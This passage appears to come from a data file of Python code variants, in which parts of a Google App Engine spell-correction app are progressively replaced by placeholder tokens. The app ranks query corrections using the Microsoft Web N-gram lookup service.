counte == 0:\n return 1\n else:\n return counte\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\ndef combination(wordlist, t):\n tempc = wordlist\n combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc\n [i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)]\n cquery = listtostr(tempc)\n combinationqueryset.append(cquery)\n results = getjp1('', combinationqueryset, '')\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n if t == 0:\n t = dictionary[cquery]\n if results[0][0] == cquery:\n return cquery, results[0][1], t\n else:\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n y = list()\n for i in range(x):\n y.append(combinationqueryset.index(results[i][0]))\n y.sort(reverse=True)\n cache = wordlist\n for z in y:\n cache[z] += cache[z + 1]\n del cache[z + 1]\n return combination(cache, t)\n\n\ndef spacesplits(wordlist):\n temps = wordlist\n query = listtostr(temps)\n strings = []\n for i in range(len(temps)):\n for y in range(1, len(temps[i])):\n strings.append(listtostr(temps[:i] + list([temps[i][:y], temps[\n i][y:]]) + temps[i + 1:]))\n strings.append(query)\n results = getjp1('', strings, '')\n if results[0][0] == query:\n return query, results[0][1]\n else:\n return spacesplits(results[0][0].split())\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x) > 1:\n counte += 1\n if counte == 0:\n return 1\n else:\n return counte\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\ndef combination(wordlist, t):\n tempc = wordlist\n combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc\n [i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)]\n cquery = listtostr(tempc)\n combinationqueryset.append(cquery)\n results = getjp1('', combinationqueryset, '')\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n if t == 0:\n t = dictionary[cquery]\n if results[0][0] == cquery:\n return cquery, results[0][1], t\n else:\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n y = list()\n for i in range(x):\n y.append(combinationqueryset.index(results[i][0]))\n y.sort(reverse=True)\n cache = wordlist\n for z in y:\n cache[z] += cache[z + 1]\n del cache[z + 1]\n return combination(cache, t)\n\n\n<function token>\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x) > 1:\n counte += 1\n if counte == 0:\n return 1\n else:\n return counte\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\n<function token>\n<function token>\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x) > 1:\n counte += 1\n if counte == 0:\n return 1\n else:\n return counte\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\n<function token>\n<function token>\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\n<function token>\n<function token>\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, 